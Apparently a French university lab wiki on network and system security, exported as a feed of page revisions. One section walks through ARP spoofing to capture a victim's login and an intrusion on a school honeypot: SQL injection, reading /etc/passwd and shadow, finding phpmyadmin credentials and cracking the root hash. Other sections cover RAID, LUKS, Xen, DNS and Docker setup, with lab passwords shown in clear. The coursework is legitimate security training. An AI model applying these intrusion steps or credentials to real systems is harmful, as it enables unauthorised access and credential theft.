La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de votre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54958</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54958"/>
				<updated>2020-12-17T23:12:35Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
